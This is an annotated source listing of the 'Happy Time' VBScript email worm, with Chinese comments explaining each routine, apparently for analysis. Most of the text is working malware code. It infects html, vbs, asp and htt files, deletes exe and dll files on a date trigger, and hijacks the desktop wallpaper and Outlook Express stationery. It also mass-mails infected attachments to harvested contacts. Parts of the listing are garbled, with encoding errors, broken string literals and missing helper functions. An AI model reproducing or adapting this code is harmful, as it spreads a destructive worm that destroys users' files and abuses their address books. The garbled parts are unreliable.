*************** 歡樂時(shí)光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
'以上為病毒入口，并加上I am sorry! happy time的注釋，以表明此文件已被感染過。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
'建立枚舉對(duì)象，避開了安全審核
If IsHTML Then
'調(diào)用IsHtml函數(shù)，如果是Html，就小寫……
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
'如果mPath為空，就在C盤下生成Help.htm
Ihtml = ""
'超文本的內(nèi)容，并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
'設(shè)置超時(shí)條件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
'生成Help.hta
End If
End If
End If
Else
Main
'都不是，就執(zhí)行main函數(shù)
End If
End Sub

'******************************************************************
'以下為主函數(shù)，太長(zhǎng)了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用說，創(chuàng)建FileSystemObject對(duì)象啦
Set Od = CreateObject("Scripting.Dictionary")
'創(chuàng)建Dictionary對(duì)象, 用來保存數(shù)據(jù)鍵和項(xiàng)目對(duì)，它實(shí)際上是一個(gè)比較開放的數(shù)組
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary對(duì)象添加要感染的項(xiàng)目對(duì)
Ks = "HKEY_CURRENT_USER\Software\"
'使用變量以減少代碼長(zhǎng)度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在，就刪掉，消滅遺留的痕跡
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
'如果月與日之和為13（這也是它變種多的原因——將13改為其他數(shù)字即可）
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
'就清空Dictionary數(shù)組，并將exe、dll加入Dictionary 對(duì)象，以備刪除之用
End If
Cn = Rg(Ks & "Help\Count")
'讀注冊(cè)表中的HKEY_CURRENT_USER\Software\Help\Count鍵值
If Cn = "" Then
Cn = 1
'如果Count為0，就設(shè)為1
End If
Rw Ks & "Help\Count", Cn + 1
'添加HKEY_CURRENT_USER\Software\Help\Count鍵值，值為2
f1 = Rg(Ks & "Help\FileName")
'再讀HKEY_CURRENT_USER\Software\Help\FileName鍵值
f2 = FNext(Of, Od, f1)
'得到該文件的文件名
fext = GetExt(Of, Od, f2)
'得到該文件擴(kuò)展名的代號(hào)
Rw Ks & "Help\FileName", f2
'添加鍵值
If IsDel(fext) Then
'如果擴(kuò)展名代號(hào)的第四個(gè)字符為1——即0001(exe、dll)
f3 = f2
'儲(chǔ)存文件名
f2 = FNext(Of, Od, f2)
'得到文件的文件名？
Rw Ks & "Help\FileName", f2
'寫注冊(cè)表
Of.DeleteFile f3
'刪除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
'如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函數(shù)強(qiáng)制執(zhí)行轉(zhuǎn)換，并發(fā)郵件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
'比較桌面墻紙是否已改變
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'創(chuàng)建超文本
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
'超文本的內(nèi)容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
'將帶毒的超文本設(shè)置成活動(dòng)桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
'創(chuàng)建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
'創(chuàng)建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
'在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三個(gè)鍵值Message Send HTML 、Compose Use Stationery 和Stationery Name，前兩個(gè)的值為1，后一個(gè)指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
'得到windows\web文件夾里的文件
Od.Add "htt", "1100"
'向Dictionary里添加htt項(xiàng)目對(duì)
For Each m In gf
'遍歷windows\web下的每一個(gè)文件
fext = GetExt(Of, Od, m)
'得到每個(gè)文件的擴(kuò)展名
If fext <> "" Then
'如果擴(kuò)展名不為空，則
Fw Of, m, fext
End If
Next
End If
End Sub

'******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!'寫入I am sorry,并關(guān)閉。以此作為感染與否的標(biāo)記
window.Close
End Sub

'******************************************************************
Sub Fw(Of, S, n)
'此時(shí)S為文件名，n為文件擴(kuò)展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
'只讀模式打開該文件
mt = fc.ReadAll
'讀入全部文件流
fc.Close
'關(guān)閉文件
If Not Sc(mt) Then
'如果未感染過
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
'打開文件并在文件末尾進(jìn)行寫操作
fc2.Write mt
fc2.Close
Msend (mmail)
'發(fā)帶毒郵件
End If
End Sub

'******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
'如果讀入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
'表示已感染過，返回True,否則為False
End If
End Function

'******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
'初始化變量
If Of.FileExists(S) Then
'如果S存在于當(dāng)前文件夾中
fpath = Of.GetFile(S).ParentFolder
'得到文件的父目錄名
fname = S
'得到文件名
ElseIf Of.FolderExists(S) Then
'不存在于當(dāng)前文件夾中，則得到目錄名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
'得到當(dāng)前盤符——即根目錄
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
'得到當(dāng)前目錄下的所有文件對(duì)象
For Each m In gf
'遍歷每個(gè)文件
If T Then
If GetExt(Of, Od, m) <> "" Then
'如果該文件是文件集合中的一員
FNext = m
'則返回該文件名，供調(diào)用的函數(shù)或過程使用——感染或刪除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
'如果沒文件
T = True
End If
Next
fpath = Pnext(Of, fpath) '
Loop
End Function

'******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
'如果如果指定的文件夾存在
Set gp = Of.GetFolder(S).SubFolders
'就得到子目錄數(shù)
pn = gp.Count
If pn = 0 Then
'如果沒子目錄
Ppath = LCase(S) '
Npath = LCase(Of.GetParentFolderName(S))
'得到父目錄的小寫形式
T = True
Else
Npath = LCase(S)
'有子目錄，得到其小寫形式的集合
End If
Do While Not Er '
For Each pn In Of.GetFolder(Npath).SubFolders
'得到子目錄下的子目錄
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
'將字符串轉(zhuǎn)化成小寫
Npath = Of.GetParentFolderName(Npath) '
If Of.GetFolder(Ppath).IsRootFolder Then
'如果是根目錄
m = Of.GetDriveName(Ppath)
'就得到分區(qū)符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function

'******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
'得到所有的驅(qū)動(dòng)器盤符
For Each d In dc
'遍歷每個(gè)驅(qū)動(dòng)器
If d.DriveType = 2 Or d.DriveType = 3 Then
'如果是網(wǎng)絡(luò)盤或本地盤
If T Then
Dnext = d
Exit Function
'如果是False，就返回當(dāng)前盤，并退出本函數(shù)
Else
If LCase(S) = LCase(d) Then
'如果是True且盤符相同，就令T為True
T = True
End If
If m = "" Then
'如果m為空，就將盤符付給m
m = d
End If
End If
End If
Next
Dnext = m
'返回盤符
End Function

'******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
'返回該文件擴(kuò)展名的小寫
GetExt = Od.Item(fext)
'返回Dictionary對(duì)象中指定的key對(duì)應(yīng)的item——即0001(exe)等
End Function

'******************************************************************
Sub Rw(k, v)
'寫注冊(cè)表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
'創(chuàng)建對(duì)象
R.RegWrite k, v
End Sub

'******************************************************************
Function Rg(v)
'讀注冊(cè)表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
'創(chuàng)建對(duì)象
Rg = R.RegRead(v)
End Function

'******************************************************************
Function IsVbs()
'此函數(shù)判斷是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
'如果出錯(cuò)，則不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function

'******************************************************************
Function IsHTML()
'此函數(shù)判斷是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
'如果出錯(cuò)，則不是超文本
Else
IsHTML = True
End If
End Function


'******************************************************************
Function IsMail(S)
'此函數(shù)判斷是不是郵件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
'返回vbCrLf在S中第一次出現(xiàn)的位置, vbCrLf是換行符
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
'如果有“@”符號(hào)且“@”在“."之前，則是郵件地址
IsMail = True
End If
End If
End Function

'******************************************************************
Function Gsf()
'得到windows目錄
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'創(chuàng)建FileSystemObject對(duì)象
m = Of.GetSpecialFolder(0)
'得到特殊目錄——Windows、System和Temp目錄
If Er Then
'如果失敗，返回C:\
Gsf = "C:\"
Else
'若正常，則返回%Windows%
Gsf = m
End If
End Function

'******************************************************************
Function Lhtml()
'寫入超文本的內(nèi)容，其中vbCrLf是換行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function

'******************************************************************
Function Lscript(S)
'寫入vbscript的聲明
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function

'******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
'得到文件流的長(zhǎng)度
l2 = Len(S2)
'得到mailto:的長(zhǎng)度
i = InStr(S1, S2)
'在文件流中查找mailto:第一次出現(xiàn)的位置——值為一個(gè)數(shù)
If i > 0 Then
'找到則進(jìn)行字符串操作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function


'******************************************************************
Function Og()
'得到WAB（通訊簿）中的郵件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
'創(chuàng)建Outlook應(yīng)用程序?qū)ο�，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每個(gè)WAB中的郵件地址
Next
Og = m
End Function

'******************************************************************
Sub Tsend()
'發(fā)帶毒郵件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
'設(shè)置郵件標(biāo)題
MM.RecipAddress = m
'此郵件的當(dāng)前的目標(biāo)郵件地址
MM.AttachmentPathName = Gsf & "\Untitled.htm"
'添加附件Windows\Untitled.htm
MM.Send
'發(fā)送！
Next
MS.SignOff
End Sub

'******************************************************************
Function Er()
'設(shè)置的錯(cuò)誤陷阱，避免程序崩潰，嚴(yán)謹(jǐn)?shù)娘L(fēng)格值得學(xué)習(xí)
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function

'******************************************************************
Function IsDel(S)
'此函數(shù)查看當(dāng)前文件是否是要?jiǎng)h除的文件類型
If Mid(S, 4, 1) = 1 Then
'看S的第四個(gè)字符是否是1——即是0001(exe和dll)
IsDel = True
'如是，返回True，以備刪除
Else
IsDel = False
'如不是，返回False
End If
End Function
'******************************************************************